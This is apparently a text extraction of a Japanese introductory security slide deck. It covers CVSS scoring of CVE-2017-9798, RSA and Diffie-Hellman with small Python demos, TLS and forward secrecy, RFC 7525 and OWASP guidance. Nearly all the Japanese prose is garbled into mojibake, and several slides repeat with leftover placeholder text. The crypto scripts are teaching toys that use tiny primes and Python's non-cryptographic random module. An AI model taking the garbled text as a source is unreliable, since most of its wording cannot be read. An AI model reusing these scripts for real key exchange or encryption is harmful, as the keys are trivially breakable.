    Metrics) ੬ऑੑʹର͢ΔରԠঢ়گʹجͮ͘είΞ ͜ͷ஋͸ঢ়گͷมԽʹԠͯ͡มΘΔ ؀ڥධՁج४(Environmental Metrics) ੬ऑੑ͕ར༻͞Εͨ৔߹ͷӨڹͷେ͖͞ʹجͮ͘είΞ ͜ͷ஋͸ର৅͕ར༻͞Ε͍ͯΔ؀ڥʹΑͬͯมΘΔ
  60. Common Vulnerability Scoring System جຊධՁج४(Base Metrics) ੬ऑੑͦͷ΋ͷͷಛ௃ʹجͮ͘είΞ ͜͜ͷ஋͕ߴ͍ఔର৅ʹେ͕݀։͍͍ͯΔ ݱঢ়ධՁج४ (Temporal

    Metrics) ੬ऑੑʹର͢ΔରԠঢ়گʹجͮ͘είΞ ͜ͷ஋͸ঢ়گͷมԽʹԠͯ͡มΘΔ ؀ڥධՁج४(Environmental Metrics) ੬ऑੑ͕ར༻͞Εͨ৔߹ͷӨڹͷେ͖͞ʹجͮ͘είΞ ͜ͷ஋͸ର৅͕ར༻͞Ε͍ͯΔ؀ڥʹΑͬͯมΘΔ ͜͜ʹ $7&ͷ$744ΛషΔ ࣌ͱ৔ॴʹґΒͳ͍جຊධՁج४ͷείΞ͕ ੬ऑੑ৘ใͱͯ͠ެ։͞Ε͍ͯΔ
  61. جຊධՁج४ (Base Metrics) ߈ܸݩ۠෼(Access Vector) ߈ܸऀ͸Ͳ͔͜Β߈ܸΛߦ͏ඞཁ͕͋Δ͔ ϩʔΧϧ ಉҰηάϝϯτ ωοτϫʔΫͷͲ͔͜ΒͰ΋ ߈ܸ৚݅ͷෳࡶ͞(Access

    Complexity) ߈ܸͰ͖Δঢ়ଶʹ͢Δͷ͸೉͍͔͠ ಛผͳઃఆ͕࢖ΘΕͯΔ͚࣌ͩ ࣄલʹԿ͔Λ஌͍ͬͯΔඞཁ͕͋Δ ඞཁͳಛݖϨϕϧ(Privileges Required) ߈ܸΛߦ͏ʹ͸Ͳͷఔ౓ͷݖݶ͕ඞཁ͔ ҰൠϢʔβݖݶ͕ඞཁ ؅ཧऀݖݶ͕ඞཁ
  62. جຊධՁج४ (Base Metrics) ׬શੑ΁ͷӨڹ(Integrity Impact) ߈ܸऀ͸ର৅ͷ৘ใΛվ᜵Ͱ͖Δ͔ վ᜵Ͱ͖Δ৘ใͷதʹػີ৘ใ͸ؚ·ΕಘΔ Մ༻ੑ΁ͷӨڹ(Availability Impact) ߈ܸऀ͸αʔϏεΛఀࢭͤ͞Δࣄ͕Ͱ͖Δ͔

    Ұ෦ͷػೳΛఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ ׬શʹఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ ػີੑ΁ͷӨڹ(Confidentiality Impact) ߈ܸऀʹݟ͑ͯ͸͍͚ͳ͍৘ใ͕ݟ͑ͯ͠·͏͔ ݟ͑ͯ͠·͏৘ใͷதʹػີ৘ใ͸ؚ·ΕಘΔ
  63. ͜͜ʹ $7&ͷ$744ΛషΔ Apach httpdͷ੬ऑੑCVE-2017-9798ͷ৔߹ ωοτϫʔΫӽ͠ʹ߈ܸͰ͖Δ ߈ܸ͸؆୯ ߈ܸʹݖݶ͸ಛʹඞཁͳ͠ ϢʔβʹԿ͔ͤ͞Δඞཁ΋ͳ͠ Αͦ΁ͷ߈ܸͷ଍͕͔Γʹ͸ͳΒͳ͍ ػີ৘ใ͕࿙ΕΔ

    ৘ใͷվ͟Μ͸Ͱ͖ͳ͍ Մ༻ੑΛଛͶΔ͜ͱ͸Ͱ͖ͳ͍ ۓٸ౓: 7.5/10.0 (ߴ) ݁ߏϠό͍΍ͭͳΜͰૣ͍ͱ͜࠹͍Ͱ͓͜͏ https://nvd.nist.gov/vuln/detail/CVE-2017-9798
  64. ڞ௨伴҉߸ H e l l o , sp W o

    r l d ! nl 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a m 8 can dc1 si vt n 9 n del : syn M f R + ed 38 98 11 8f 0b 6e 39 6e ff ba 16 4d e6 52 2b H e l l o , sp W o r l d ! nl 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a 伴Λ࢖ͬͯม׵ 伴Λ࢖ͬͯٯม׵ ͲͷΑ͏ʹม׵͢Δ͔ʹҧ͍͕͋Δ ෳ਺ͷ҉߸ΞϧΰϦζϜ͕ଘࡏ͢Δ
  65. #!/usr/bin/env python3 # -*- coding: utf-8 -*- def egcd( x,

    y, a = 0, b = 1 ): div, mod = divmod( x, y ) if mod == 0: return ( y, a ) return egcd( y, mod, b - div * a, a ) def modinv( x, y ): a, b = egcd( x, y ) if a != 1: raise Exception( 'no modinv') return b % y def generate_key_pair(): prime_nums = [ 116903, 215443, 139721 ] public_key = [ prime_nums[ 0 ] * prime_nums[ 1 ], prime_nums[ 2 ] ] private_key = modinv( public_key[ 1 ], ( prime_nums[ 0 ] - 1 ) * ( prime_nums[ 1 ] - 1 ) ) return ( public_key, private_key ) public_key, private_key = generate_key_pair(); print( 'ൿີ伴:\t%d' % private_key ) print( 'ެ։伴:\t%d,%d' % ( public_key[ 0 ], public_key[ 1 ] ) ) plain = 0x686f6765 print( 'ݪจ:\t%X' % plain ) crypted = pow( plain, public_key[ 1 ], public_key[ 0 ] ) print( '҉߸Խ:\t%X' % crypted ) decrypted = pow( crypted, private_key, public_key[ 0 ] ) print( '෮߸:\t%X' % decrypted ) $ ./crypto.py ൿີ伴: 15753325457 ެ։伴: 25185933029,139721 ݪจ: 686F6765 ҉߸Խ: 2779B8996 ෮߸: 686F6765 RSA
  66. def egcd( x, y, a = 0, b = 1

    ): div, mod = divmod( x, y ) if mod == 0: return ( y, a ) return egcd( y, mod, b - div * a, a ) def modinv( x, y ): a, b = egcd( x, y ) if a != 1: raise Exception( 'no modinv') return b % y def generate_key_pair(): prime_nums = [ 116903, 215443, 139721 ] public_key = [ prime_nums[ 0 ] * prime_nums[ 1 ], prime_nums[ 2 ] ] private_key = modinv( public_key[ 1 ], ( prime_nums[ 0 ] - 1 ) * ( prime_nums[ 1 ] - 1 ) ) return ( public_key, private_key ) public_key, private_key = generate_key_pair(); print( 'ൿີ伴:\t%d' % private_key ) print( 'ެ։伴:\t%d,%d' % ( public_key[ 0 ], public_key[ 1 ] ) ) plain = 0x686f6765 print( 'ݪจ:\t%X' % plain ) crypted = pow( plain, public_key[ 1 ], public_key[ 0 ] ) print( '҉߸Խ:\t%X' % crypted ) decrypted = pow( crypted, private_key, public_key[ 0 ] ) print( '෮߸:\t%X' % decrypted ) $ ./crypto.py ൿີ伴: 15753325457 ެ։伴: 25185933029,139721 ݪจ: 686F6765 ҉߸Խ: 2779B8996 ෮߸: 686F6765 RSA ͋Δ੔਺nͱૉͳ1Ҏ্nະຬͷ ࣗવ਺ͷ਺ΛٻΊΔؔ਺Λ ΦΠϥʔͷτʔγΣϯτؔ਺φ(n)ͱݺͿ ૉ਺ͷఆٛΑΓn͕ૉ਺ͷ৔߹φ(n)͸n-1ʹͳΔ φ(ab)=φ(a)φ(b)ʹͳΔ͜ͱ͕஌ΒΕ͍ͯΔ aͱbΛ஌͍ͬͯΔͱφ(ab)͸ఆ਺࣌ؒͰٻ·Δ͕ ab͔͠Θ͔Βͳ͍৔߹φ(ab)͸ࢦ਺࣌ؒΛཁ͢Δ ͜ͷඇରশੑΛ࢖ͬͯެ։伴͔Βൿີ伴ΛٻΊΔͷΛࠔ೉ʹ͢Δ
  67. Transport Layer Security ෺ཧ૚ σʔλϦϯΫ૚ TCP/IP ௨৴Λߦ͏ΞϓϦέʔγϣϯ TLS TLSΛ࢖͏ΞϓϦέʔγϣϯ͸ TLSʹ௨৴σʔλΛ౉͢

    TLS͸௨৴૬खͷ֬ೝɺ伴ڞ༗Λߦ͍ ҉߸Խͯ͠ϋογϡΛ͚ͭͨσʔλΛ TCP/IPͷιέοτʹྲྀ͢ TLSͷ্ʹΞϓϦέʔγϣϯΛ࡞ΔࣄͰ ҉߸ʹؔ͢Δ໘౗ࣄΛ ࣗ෼Ͱ࣮૷͢Δඞཁ͕ͳ͘ͳΔ
  68. RSAΛ༻͍ͨTLS ެ։伴Λऔಘ nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴

    ༗ޮͳެ։伴Ͱ҉߸Խͨ͠஋Λ྆ऀͰڞ༗Ͱ͖ͨͱ͍͏͜ͱ͸ ڞ௨伴͸ҙਤͨ͠௨৴૬खͷΈͱڞ༗͞Εͨঢ়ଶʹ͋Δ ຊ෺ͷ௨৴૬ख͸ ൿີ伴Ͱ nΛऔΓग़ͤΔ Bob Alice
  69. RSAΛ༻͍ͨTLS औಘ nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴

    ͜ͷ࣌ͷ௨৴Λه࿥͍ͯ͠Δୈࡾऀ͕͍ͨͱ͢Δ ͜ͷ࣌఺Ͱ͸ڞ௨伴҉߸ͷ伴΋ൿີ伴΋Θ͔Βͳ͍ͨΊ ୈࡾऀ͸௨৴ͷ಺༰Λ஌Δ͜ͱ͕Ͱ͖ͳ͍ Bob Alice
  70. nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ

    ͦͷޙԿΒ͔ͷཧ༝Ͱൿີ伴͕ެʹͳΔͱ ୈࡾऀ͸อଘ͓͍ͯͨ͠௨৴಺༰͔Β ڞ௨伴ΛऔΓग़ͯ͠ શͯͷ௨৴಺༰Λ஌Δ͜ͱ͕Ͱ͖Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ
  71. nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ

    nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ϑΥϫʔυηΩϡϦςΟ ௨৴͕ߦΘΕͨޙͰαʔόূ໌ॻͷൿີ伴͕όϨͯ΋ ͦΕ·ͰʹߦΘΕͨ௨৴಺༰͕όϨͳ͍Α͏ʹ͢Δ͜ͱ RSAͰڞ༗伴ͷૉΛ௨৴૬खʹૹΔͱ ϑΥϫʔυηΩϡϦςΟΛ࣮ݱͰ͖ͳ͍ ͦͷޙԿΒ͔ͷཧ༝Ͱൿີ伴͕ެʹͳΔͱ ୈࡾऀ͸อଘ͓͍ͯͨ͠௨৴಺༰͔Β ڞ௨伴ΛऔΓग़ͯ͠ શͯͷ௨৴಺༰Λ஌Δ͜ͱ͕Ͱ͖Δ
  72. ཭ࢄର਺໰୊ G = xa mod p (ͨͩ͠p͸ૉ਺Ͱ 2 ≦ a

    < p) ͜ͷΑ͏ͳࣜʹ͓͍ͯ xͱaͱp͔ΒG͸ର਺࣌ؒͰٻ·Δ͕ xͱGͱp͔ΒaΛٻΊΔʹ͸ࢦ਺࣌ؒΛཁ͢Δ ಛʹp͕ڊେͳૉ਺ͷ৔߹ aΛݱ࣮తͳ࣌ؒͰٻΊΒΕͳ͘ͳΔ
  73. Diffie-Hellman伴ڞ༗ G = xa mod p (ͨͩ͠p͸ૉ਺Ͱ 2 ≦ a

    < p) ͜ͷΑ͏ͳࣜʹ͓͍ͯ xͱaͱp͔ΒG͸ର਺࣌ؒͰٻ·Δ͕ xͱGͱp͔ΒaΛٻΊΔʹ͸ࢦ਺࣌ؒΛཁ͢Δ ͜ͷඇରশੑΛ࢖ͬͯ௨৴ܦ࿏্ʹݟ͑Δ৘ใ͚ͩͰ͸ ༰қʹ伴ΛٻΊΒΕͳ͍Α͏ʹ͢Δ ಛʹp͕ڊେͳૉ਺ͷ৔߹ aΛݱ࣮తͳ࣌ؒͰٻΊΒΕͳ͘ͳΔ
  74. Diffie-Hellman伴ڞ༗ ͋Δཚ਺aΛ࡞Δ ͋Δཚ਺bΛ࡞Δ Ga = xa mod p Gb =

    xb mod p n = Gba mod p n = Gab mod p n͸ͲͪΒͷܭࢉํ๏Ͱ΋ ಉ͡஋ʹͳΔ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ͜͜Ͱަ׵͞ΕΔGa Gb ͔Β aͱbΛ஌Δࣄ͸Ͱ͖ͳ͍
  75. #!/usr/bin/env python3 # -*- coding: utf-8 -*- import random random.seed()

    # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ p=152219 # ೚ҙͷૉ਺ x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺ # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍ secret1=random.randint(2,p) secret2=random.randint(2,p) print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 ) print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 ) # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ public1=pow( x, secret1, p ) public2=pow( x, secret2, p ) print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 ) print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 ) # ͜ͷ஋͕Ұக͢Δ key1=pow( public2, secret1, p ) key2=pow( public1, secret2, p ) print( u'Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key1 ) print( u'Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key2 ) Diffie-Hellman伴ڞ༗ $ ./dh.py Alice͕࡞ͬͨൿີͷ஋: 118909 Bob͕࡞ͬͨൿີͷ஋: 89005 Alice͔ΒBobʹૹΔ஋: 26981 Bob͔ΒAliceʹૹΔ஋: 123319 Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243 Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243
  76. #!/usr/bin/env python3 # -*- coding: utf-8 -*- import random random.seed()

    # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ p=152219 # ೚ҙͷૉ਺ x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺ # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍ secret1=random.randint(2,p) secret2=random.randint(2,p) print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 ) print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 ) # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ public1=pow( x, secret1, p ) public2=pow( x, secret2, p ) print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 ) print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 ) # ͜ͷ஋͕Ұக͢Δ key1=pow( public2, secret1, p ) key2=pow( public1, secret2, p ) print( u'Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key1 ) print( u'Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key2 ) Diffie-Hellman伴ڞ༗ $ ./dh.py Alice͕࡞ͬͨൿີͷ஋: 118909 Bob͕࡞ͬͨൿີͷ஋: 89005 Alice͔ΒBobʹૹΔ஋: 26981 Bob͔ΒAliceʹૹΔ஋: 123319 Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243 Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243 7243ͱ͍͏஋Λڞ༗Ͱ͖ͨ ͜ͷ஋Λ΋ͱʹͯ͠ڞ௨伴҉߸ͷ伴Λ࡞Δ͜ͱ͕Ͱ͖Δ
  77. Diffie-Hellman Ephemeral Ұ࣌త #!/usr/bin/env python3 # -*- coding: utf-8 -*-

    import random random.seed() # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ p=152219 # ೚ҙͷૉ਺ x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺ # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍ secret1=random.randint(2,p) secret2=random.randint(2,p) print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 ) print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 ) # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ public1=pow( x, secret1, p ) public2=pow( x, secret2, p ) print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 ) print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 ) # ͜ͷ஋͕Ұக͢Δ key1=pow( public2, secret1, p ) ͜ͷ஋Λ伴ڞ༗Λߦ͏౓ʹ มߋ͢Δ ͜ͷ஋͕ແ͍ͱ伴Λ ಛఆͰ͖ͳ͍͕ ͜ͷ஋ࣗମ͸౪ௌͰ͖ͳ͍ͨΊ ϑΥϫʔυηΩϡϦςΟ͕ಘΒΕΔ ൿີͷ஋͕ຖճมΘΔͷͰ૬ख͕ຊ෺͔Ͳ͏͔ͷ֬ೝ͕Ͱ͖ͳ͘ͳΔ ૬ख͕ຊ෺Ͱ͋Δ͜ͱͷ֬ೝ͸RSAΛ࢖ͬͯߦ͏
  78. ಡΊΔ SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS

    1.2 TLS 1.3 com ing soon 1994೥ 1996೥ 1999೥ 2006೥ 2008೥ 2010೥୅ʹೖͬͯݹ͍҉߸Λબ͹ͤͯ ݹ͍҉߸ͷऑ఺Λಥ͍ͯ౪ௌΛߦ͏੬ऑੑ͕ग़͖ͯͨ ΠϚυΩͷ҉߸OK ΠϚυΩͷ҉߸ແཧ ΠϚυΩͷ҉߸OK ΠϚυΩͷ҉߸ແཧ ऑ͍҉߸ ऑ͍҉߸ Alice Bob ౪ௌऀ
  79. SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS 1.2

    TLS 1.3 com ing soon 1994೥ 1996೥ 1999೥ 2006೥ 2008೥ TLS 1.3Ͱ͸ࠓͰ͸҆શͰͳ͍҉߸ٕज़͕࠷ॳ͔Β࢖༻ෆೳʹͳΔ TLS1.3͕ҰൠతʹͳΔ·Ͱ͸ TLS 1.2͕࣋ͭػೳͷ͏ͪ ةݥͱ͞Ε͍ͯΔػೳΛ੾ͬͨঢ়ଶͰӡ༻ SSL 3.0ͷΑ͏ͳຊ౰ʹݹ͍҉߸͔͠ରԠ͍ͯ͠ͳ͍௨৴૬ख͸ ௨৴ΛఘΊͯ΋Β͏͔͠ͳ͍
  80. RFC7525 Recommendations for Secure Use of Transport Layer Security (TLS)

    and Datagram Transport Layer Security (DTLS) TLS 1.2ͷػೳͷ͏ͪ ԿΛ੾͓ͬͯ͘΂͖͔͕ ·ͱΊΒΕ͍ͯΔ IUUQTUPPMTJFUGPSHIUNMSGD ඇެࣜͳ೔ຊޠ༁IUUQTTVNNFSXJOEKQEPDTSGD ͜͜ʹ 3'$ͷ"CTUSBDUΛషΔ
  81. ͜͜ʹ 08"415PQͷΠϯδΣΫγϣϯͷղઆΛషΔ OWASP Top 10 https://www.owasp.org/images/2/23/ OWASP_Top_10-2017%28ja%29.pdf ੬ऑੑͷछྨຖʹ ͲͷΑ͏ʹൃݟ͢Ε͹ྑ͍͔ ͲͷΑ͏ʹ๷ࢭ͢Ε͹ྑ͍͔

    ͕వΊΒΕ͍ͯΔ ΠϯδΣΫγϣϯʹର͢Δ๷ࢭํ๏ ΠϯλϓϦλ͔ΒΫΤϦΛ౤͛ͳ͍ ύϥϝʔλԽ͞ΕͨΠϯλʔϑΣʔε ·ͨ͸ORMΛ࢖͏ ಡ΋͏
  82. ͜͜ʹ 08"41"474ͷνΣοΫ߲໨ͷҰ෦ΛషΔ OWASP Application Security Verification Standard IUUQTXXXKQDFSUPSKQTFDVSFDPEJOH NBUFSJBMTPXBTQBTWTIUNM ͋ΒΏΔΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ1

    ݸਓ৘ใ΍վ͟Μ͞ΕΔͱࠔΔ৘ใΛѻ͏ ΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ2 ো֐ͷൃੜ͕૊৫ͷଘଓ΍ਓ໋ʹؔΘΔ ΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ3 Ϩϕϧ্͕͕Δ΄ͲνΣοΫ߲໨͕૿͑Δ ύεϫʔυมߋػೳʹ ݹ͍ύεϫʔυͷೖྗ ৽͍͠ύεϫʔυͷೖྗ ৽͍͠ύεϫʔυͷ֬ೝ ͷ3ͭΛཁٻ͍ͯ͠Δ͔Ͳ͏͔ΛνΣοΫ WebΞϓϦέʔγϣϯΛ࡞ͬͨΒ νΣοΫ͠Α͏